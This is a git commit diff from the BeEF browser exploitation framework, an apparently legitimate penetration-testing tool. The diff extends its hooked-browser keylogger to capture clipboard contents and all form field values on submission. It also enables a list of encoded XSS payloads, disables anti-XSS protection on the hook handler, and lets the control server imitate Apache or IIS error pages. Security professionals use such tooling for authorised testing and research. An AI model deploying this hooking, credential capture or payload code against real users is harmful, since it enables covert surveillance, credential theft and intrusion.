Merge remote-tracking branch 'upstream/master'. Fixed conflicts on config.yaml.
This commit is contained in:
2
Gemfile
2
Gemfile
@@ -49,6 +49,8 @@ if ENV['BEEF_TEST']
|
||||
# sudo apt-get install libxslt-dev libxml2-dev
|
||||
# sudo port install libxml2 libxslt
|
||||
gem "capybara"
|
||||
#RESTful API tests/generic command module tests
|
||||
gem "rest-client", "~> 1.6.7"
|
||||
end
|
||||
|
||||
source "http://rubygems.org"
|
||||
|
||||
2
VERSION
2
VERSION
@@ -14,4 +14,4 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
0.4.3.3-alpha
|
||||
0.4.3.4-alpha
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.3.3-alpha'
|
||||
version: '0.4.3.4-alpha'
|
||||
debug: false
|
||||
|
||||
restrictions:
|
||||
@@ -37,11 +37,18 @@ beef:
|
||||
hook_file: "/hook.js"
|
||||
hook_session_name: "BEEFHOOK"
|
||||
session_cookie_name: "BEEFSESSION"
|
||||
|
||||
# Prefer WebSockets over XHR-polling when possible.
|
||||
websocket:
|
||||
enable: true
|
||||
secure: false # use WebSocketSecure
|
||||
port: 11989
|
||||
|
||||
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
|
||||
web_server_imitation:
|
||||
enable: false
|
||||
type: "apache" #supported: apache, iis
|
||||
|
||||
database:
|
||||
# For information on using other databases please read the
|
||||
# README.databases file
|
||||
|
||||
@@ -60,10 +60,9 @@ module BeEF
|
||||
# @param [String] method the method of the class
|
||||
# @param [Array] params an array of parameters that need to be matched
|
||||
# @return [Boolean] whether or not the owner is registered
|
||||
# @todo Change the param matching to use the new :is_matched_params?() method - Issue #479
|
||||
def registered?(owner, c, method, params = [])
|
||||
@registry.each{|r|
|
||||
if r['owner'] == owner and r['class'] == c and r['method'] == method and params == r['params']
|
||||
if r['owner'] == owner and r['class'] == c and r['method'] == method and self.is_matched_params?(r, params)
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
@@ -19,6 +19,11 @@ module BeEF
|
||||
end
|
||||
end
|
||||
|
||||
## @note Include the BeEF router
|
||||
require 'core/main/router/router'
|
||||
require 'core/main/router/api'
|
||||
|
||||
|
||||
## @note Include http server functions for beef
|
||||
require 'core/main/server'
|
||||
require 'core/main/handlers/modules/beefjs'
|
||||
|
||||
@@ -48,9 +48,8 @@ beef.browser = {
|
||||
* Returns true if IE8.
|
||||
* @example: beef.browser.isIE8()
|
||||
*/
|
||||
isIE8: function() {
|
||||
$j("body").append('<!--[if IE 8]> <div id="beefiecheck" class="ie ie8"></div> <![endif]-->');
|
||||
return ($j('#beefiecheck').hasClass('ie8'))?true:false;
|
||||
isIE8: function() {
|
||||
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !!document.documentMode && !!window.XDomainRequest && !window.performance;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -58,8 +57,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isIE9()
|
||||
*/
|
||||
isIE9: function() {
|
||||
$j("body").append('<!--[if IE 9]> <div id="beefiecheck" class="ie ie9"></div> <![endif]-->');
|
||||
return ($j('#beefiecheck').hasClass('ie9'))?true:false;
|
||||
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !!document.documentMode && !!window.XDomainRequest && !!window.performance;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -166,12 +164,20 @@ beef.browser = {
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF12
|
||||
* @example: beef.browser.isFF12()
|
||||
*/
|
||||
isFF12: function() {
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF.
|
||||
* @example: beef.browser.isFF()
|
||||
*/
|
||||
isFF: function() {
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11();
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -302,12 +308,28 @@ beef.browser = {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==17)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 18.
|
||||
* @example: beef.browser.isC18()
|
||||
*/
|
||||
isC18: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==18)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 19.
|
||||
* @example: beef.browser.isC19()
|
||||
*/
|
||||
isC19: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==19)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome.
|
||||
* @example: beef.browser.isC()
|
||||
*/
|
||||
isC: function() {
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17();
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -371,7 +393,9 @@ beef.browser = {
|
||||
C14: this.isC14(), // Chrome 14
|
||||
C15: this.isC15(), // Chrome 15
|
||||
C16: this.isC16(), // Chrome 16
|
||||
C17: this.isC17(), // Chrome 16
|
||||
C17: this.isC17(), // Chrome 17
|
||||
C18: this.isC18(), // Chrome 18
|
||||
C19: this.isC19(), // Chrome 19
|
||||
C: this.isC(), // Chrome any version
|
||||
|
||||
FF2: this.isFF2(), // Firefox 2
|
||||
@@ -386,6 +410,7 @@ beef.browser = {
|
||||
FF9: this.isFF9(), // Firefox 9
|
||||
FF10: this.isFF10(), // Firefox 10
|
||||
FF11: this.isFF11(), // Firefox 11
|
||||
FF12: this.isFF12(), // Firefox 12
|
||||
FF: this.isFF(), // Firefox any version
|
||||
|
||||
IE6: this.isIE6(), // Internet Explorer 6
|
||||
@@ -427,7 +452,8 @@ beef.browser = {
|
||||
if (this.isC15()) { return '15' }; // Chrome 15
|
||||
if (this.isC16()) { return '16' }; // Chrome 16
|
||||
if (this.isC17()) { return '17' }; // Chrome 17
|
||||
|
||||
if (this.isC18()) { return '18' }; // Chrome 18
|
||||
if (this.isC19()) { return '19' }; // Chrome 19
|
||||
|
||||
if (this.isFF2()) { return '2' }; // Firefox 2
|
||||
if (this.isFF3()) { return '3' }; // Firefox 3
|
||||
@@ -441,7 +467,7 @@ beef.browser = {
|
||||
if (this.isFF9()) { return '9' }; // Firefox 9
|
||||
if (this.isFF10()) { return '10' }; // Firefox 10
|
||||
if (this.isFF11()) { return '11' }; // Firefox 11
|
||||
|
||||
if (this.isFF12()) { return '12' }; // Firefox 12
|
||||
|
||||
if (this.isIE6()) { return '6' }; // Internet Explorer 6
|
||||
if (this.isIE7()) { return '7' }; // Internet Explorer 7
|
||||
|
||||
@@ -58,9 +58,11 @@ beef.logger = {
|
||||
* Starts the logger
|
||||
*/
|
||||
start: function() {
|
||||
|
||||
this.running = true;
|
||||
var d = new Date();
|
||||
this.time = d.getTime();
|
||||
|
||||
$j(document).keypress(
|
||||
function(e) { beef.logger.keypress(e); }
|
||||
).click(
|
||||
@@ -71,9 +73,18 @@ beef.logger = {
|
||||
).blur(
|
||||
function(e) { beef.logger.win_blur(e); }
|
||||
);
|
||||
/*$j('form').submit(
|
||||
$j('form').submit(
|
||||
function(e) { beef.logger.submit(e); }
|
||||
);*/
|
||||
);
|
||||
document.body.oncopy = function() {
|
||||
setTimeout("beef.logger.copy();", 10);
|
||||
}
|
||||
document.body.oncut = function() {
|
||||
setTimeout("beef.logger.cut();", 10);
|
||||
}
|
||||
document.body.onpaste = function() {
|
||||
beef.logger.paste();
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -137,11 +148,57 @@ beef.logger = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Is called whenever a form is submitted
|
||||
* Copy function fires when the user copies data to the clipboard.
|
||||
*/
|
||||
copy: function(x) {
|
||||
try {
|
||||
var c = new beef.logger.e();
|
||||
c.type = 'copy';
|
||||
c.data = clipboardData.getData("Text");
|
||||
this.events.push(c);
|
||||
} catch(e) {}
|
||||
},
|
||||
|
||||
/**
|
||||
* Cut function fires when the user cuts data to the clipboard.
|
||||
*/
|
||||
cut: function() {
|
||||
try {
|
||||
var c = new beef.logger.e();
|
||||
c.type = 'cut';
|
||||
c.data = clipboardData.getData("Text");
|
||||
this.events.push(c);
|
||||
} catch(e) {}
|
||||
},
|
||||
|
||||
/**
|
||||
* Paste function fires when the user pastes data from the clipboard.
|
||||
*/
|
||||
paste: function() {
|
||||
try {
|
||||
var c = new beef.logger.e();
|
||||
c.type = 'paste';
|
||||
c.data = clipboardData.getData("Text");
|
||||
this.events.push(c);
|
||||
} catch(e) {}
|
||||
},
|
||||
|
||||
/**
|
||||
* Submit function fires whenever a form is submitted
|
||||
* TODO: Cleanup this function
|
||||
*/
|
||||
submit: function(e) {
|
||||
/*this.events.push('Form submission: Action: '+$j(e.target).attr('action')+' Method: '+$j(e.target).attr('method')+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target));*/
|
||||
try {
|
||||
var f = new beef.logger.e();
|
||||
var values = "";
|
||||
f.type = 'submit';
|
||||
f.target = beef.logger.get_dom_identifier(e.target);
|
||||
for (var i = 0; i < e.target.elements.length; i++) {
|
||||
values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
|
||||
}
|
||||
f.data = 'Action: '+$j(e.target).attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
|
||||
this.events.push(f);
|
||||
} catch(e) {}
|
||||
},
|
||||
|
||||
/**
|
||||
|
||||
@@ -49,20 +49,27 @@ beef.net.xssrays = {
|
||||
//browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
|
||||
vectors: [
|
||||
|
||||
// {input:"',XSS,'", name: 'Standard DOM based injection single', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'",XSS,"', name: 'Standard DOM based injection double', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input: '\'><script>XSS<\/script>', name: 'Standard script injection single', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input: '"><script>XSS<\/script>', name: 'Standard script injection double', browser: 'ALL',url:true,form:true,path:true}, //,
|
||||
{input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true}
|
||||
// {input:"',XSS,'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'\'><script>XSS<\/script>', name: 'Standard script injection single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'"><script>XSS<\/script>', name: 'Standard script injection double quote', browser: 'ALL',url:true,form:true,path:true}, //,
|
||||
// {input:'\'><body onload=\'XSS\'>', name: 'body onload single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'"><body onload="XSS">', name: 'body onload double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true}
|
||||
// {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true}
|
||||
// {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
|
||||
//{input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
|
||||
{input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
|
||||
],
|
||||
uniqueID: 0,
|
||||
rays: [],
|
||||
|
||||
@@ -18,42 +18,44 @@ module Core
|
||||
module Handlers
|
||||
|
||||
# @note This class handles connections from hooked browsers to the framework.
|
||||
class HookedBrowsers
|
||||
class HookedBrowsers < BeEF::Core::Router::Router
|
||||
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
#antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.
|
||||
configure do
|
||||
disable :protection
|
||||
end
|
||||
|
||||
# Process HTTP requests sent by a hooked browser to the framework.
|
||||
# It will update the database to add or update the current hooked browser
|
||||
# and deploy some command modules or extensions to the hooked browser.
|
||||
def call(env)
|
||||
get '/' do
|
||||
@body = ''
|
||||
@request = Rack::Request.new(env)
|
||||
@params = @request.query_string
|
||||
@response = Rack::Response.new(body=[], 200, header={})
|
||||
@params = request.query_string
|
||||
#@response = Rack::Response.new(body=[], 200, header={})
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# @note check source ip address of browser
|
||||
permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
|
||||
target_network = IPAddr.new(permitted_hooking_subnet)
|
||||
if not target_network.include?(@request.ip)
|
||||
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{@request.ip}) rejected.")
|
||||
@response = Rack::Response.new(body=[], 500, header={})
|
||||
return
|
||||
if not target_network.include?(request.ip)
|
||||
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.ip}) rejected.")
|
||||
error 500
|
||||
end
|
||||
|
||||
# @note get zombie if already hooked the framework
|
||||
hook_session_name = config.get('beef.http.hook_session_name')
|
||||
hook_session_id = @request[hook_session_name]
|
||||
hook_session_id = request[hook_session_name]
|
||||
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) if not hook_session_id.nil?
|
||||
|
||||
# @note is a new browser so return instructions to set up the hook
|
||||
if not hooked_browser
|
||||
|
||||
# @note generate the instructions to hook the browser
|
||||
host_name = @request.host
|
||||
host_name = request.host
|
||||
(print_error "Invalid host name";return) if not BeEF::Filters.is_valid_hostname?(host_name)
|
||||
build_beefjs!(host_name)
|
||||
|
||||
@@ -63,9 +65,9 @@ module Handlers
|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
|
||||
# @note Check for a change in zombie IP and log an event
|
||||
if hooked_browser.ip != @request.ip
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{@request.ip}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = @request.ip
|
||||
if hooked_browser.ip != request.ip
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = request.ip
|
||||
end
|
||||
|
||||
hooked_browser.count!
|
||||
@@ -76,37 +78,18 @@ module Handlers
|
||||
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
|
||||
|
||||
# @note We dynamically get the list of all browser hook handler using the API and register them
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, @request, @response)
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, request, response)
|
||||
end
|
||||
|
||||
# @note set response headers and body
|
||||
@response = Rack::Response.new(
|
||||
body = [@body],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
}
|
||||
)
|
||||
|
||||
@body
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# @note Object representing the HTTP request
|
||||
@request
|
||||
|
||||
# @note Object representing the HTTP response
|
||||
@response
|
||||
|
||||
# @note A string containing the list of BeEF components active in the hooked browser
|
||||
# @todo Confirm this variable is still used
|
||||
@beef_js_cmps
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -19,7 +19,7 @@ module NetworkStack
|
||||
module Handlers
|
||||
|
||||
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
|
||||
class DynamicReconstruction
|
||||
class DynamicReconstruction < BeEF::Core::Router::Router
|
||||
|
||||
# @note holds packet queue
|
||||
PQ = Array.new()
|
||||
@@ -27,50 +27,33 @@ module Handlers
|
||||
# @note obtain dynamic mount points from HttpHookServer
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
|
||||
before do
|
||||
error 404 unless !params.empty?
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# Combines packet information and pushes to PQ (packet queue), then checks packets
|
||||
def call(env)
|
||||
@request = Rack::Request.new(env)
|
||||
|
||||
# skip packet checking if the request method is HEAD, PUT, DELETE or if parameters == null
|
||||
if not self.is_valid_req(@request)
|
||||
response = Rack::Response.new(
|
||||
body = [],
|
||||
status = 404,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
}
|
||||
)
|
||||
return response
|
||||
end
|
||||
|
||||
response = Rack::Response.new(
|
||||
body = [],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
get '/' do
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST'
|
||||
}
|
||||
)
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
|
||||
PQ << {
|
||||
:beefhook => @request['bh'],
|
||||
:stream_id => Integer(@request['sid']),
|
||||
:packet_id => Integer(@request['pid']),
|
||||
:packet_count => Integer(@request['pc']),
|
||||
:data => @request['d']
|
||||
:beefhook => params[:bh],
|
||||
:stream_id => Integer(params[:sid]),
|
||||
:packet_id => Integer(params[:pid]),
|
||||
:packet_count => Integer(params[:pc]),
|
||||
:data => params[:d]
|
||||
}
|
||||
|
||||
# @todo Test under high load, possibly limit the amount of threads being created
|
||||
Thread.new {
|
||||
check_packets()
|
||||
}
|
||||
response
|
||||
end
|
||||
|
||||
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
|
||||
@@ -99,8 +82,8 @@ module Handlers
|
||||
begin
|
||||
res = JSON.parse(b64).first
|
||||
res['beefhook'] = packet[:beefhook]
|
||||
res['request'] = @request
|
||||
res['beefsession'] = @request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
|
||||
res['request'] = request
|
||||
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
|
||||
execute(res)
|
||||
rescue JSON::ParserError => e
|
||||
print_debug 'Network stack could not decode packet stream.'
|
||||
@@ -132,17 +115,6 @@ module Handlers
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# 1. check methods HEAD, PUT, DELETE. return 404 if these methods are called
|
||||
# 2. check for parameters = null (no parameters). return 404 in this case
|
||||
# @param [Hash] request the Rack HTTP Request.
|
||||
def is_valid_req(request)
|
||||
is_valid = true
|
||||
if request.put? or request.delete? or request.head? or request.params.empty?
|
||||
is_valid = false
|
||||
end
|
||||
is_valid
|
||||
end
|
||||
|
||||
# Assist function for getting parameter from hash
|
||||
# @param [Hash] query Hash to pull key from
|
||||
@@ -152,9 +124,7 @@ module Handlers
|
||||
return nil if query[key].nil?
|
||||
query[key]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -17,11 +17,9 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Rest
|
||||
class HookedBrowsers < Sinatra::Base
|
||||
class HookedBrowsers < BeEF::Core::Router::Router
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
configure do set :show_exceptions, false end
|
||||
not_found do 'Not Found.' end
|
||||
|
||||
before do
|
||||
error 401 unless params[:token] == config.get('beef.api_token')
|
||||
|
||||
@@ -17,11 +17,9 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Rest
|
||||
class Logs < Sinatra::Base
|
||||
class Logs < BeEF::Core::Router::Router
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
configure do set :show_exceptions, false end
|
||||
not_found do 'Not Found.' end
|
||||
|
||||
before do
|
||||
error 401 unless params[:token] == config.get('beef.api_token')
|
||||
|
||||
@@ -17,11 +17,9 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Rest
|
||||
class Modules < Sinatra::Base
|
||||
class Modules < BeEF::Core::Router::Router
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
configure do set :show_exceptions, false end
|
||||
not_found do 'Not Found.' end
|
||||
|
||||
before do
|
||||
error 401 unless params[:token] == config.get('beef.api_token')
|
||||
|
||||
30
core/main/router/api.rb
Normal file
30
core/main/router/api.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Router
|
||||
|
||||
module RegisterRouterHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/', BeEF::Core::Router::Router.new)
|
||||
end
|
||||
end
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Router::RegisterRouterHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
258
core/main/router/router.rb
Normal file
258
core/main/router/router.rb
Normal file
@@ -0,0 +1,258 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Router
|
||||
|
||||
#@note This is the main Router parent class.
|
||||
#@note All the HTTP handlers registered on BeEF will extend this class.
|
||||
class Router < Sinatra::Base
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
configure do
|
||||
set :show_exceptions, false
|
||||
end
|
||||
|
||||
# @note Override default 404 HTTP response
|
||||
not_found do
|
||||
if config.get("beef.http.web_server_imitation.enable")
|
||||
type = config.get("beef.http.web_server_imitation.type")
|
||||
case type
|
||||
when "apache"
|
||||
#response body
|
||||
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" +
|
||||
"<html><head>" +
|
||||
"<title>404 Not Found</title>" +
|
||||
"</head><body>" +
|
||||
"<h1>Not Found</h1>" +
|
||||
"<p>The requested URL was not found on this server.</p>" +
|
||||
"<hr>" +
|
||||
"<address>Apache/2.2.3 (CentOS)</address>" +
|
||||
"</body></html>"
|
||||
when "iis"
|
||||
#response body
|
||||
"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">" +
|
||||
"<HTML><HEAD><TITLE>The page cannot be found</TITLE>" +
|
||||
"<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
|
||||
"<STYLE type=\"text/css\">" +
|
||||
" BODY { font: 8pt/12pt verdana } " +
|
||||
" H1 { font: 13pt/15pt verdana }" +
|
||||
" H2 { font: 8pt/12pt verdana }" +
|
||||
" A:link { color: red }" +
|
||||
" A:visited { color: maroon }" +
|
||||
"</STYLE>" +
|
||||
"</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>" +
|
||||
"<h1>The page cannot be found</h1>" +
|
||||
"The page you are looking for might have been removed, had its name changed, or is temporarily unavailable." +
|
||||
"<hr>" +
|
||||
"<p>Please try the following:</p>" +
|
||||
"<ul>" +
|
||||
"<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>" +
|
||||
"<li>If you reached this page by clicking a link, contact" +
|
||||
" the Web site administrator to alert them that the link is incorrectly formatted." +
|
||||
"</li>" +
|
||||
"<li>Click the <a href=\"javascript:history.back(1)\">Back</a> button to try another link.</li>" +
|
||||
"</ul>" +
|
||||
"<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>" +
|
||||
"<hr>" +
|
||||
"<p>Technical Information (for support personnel)</p>" +
|
||||
"<ul>" +
|
||||
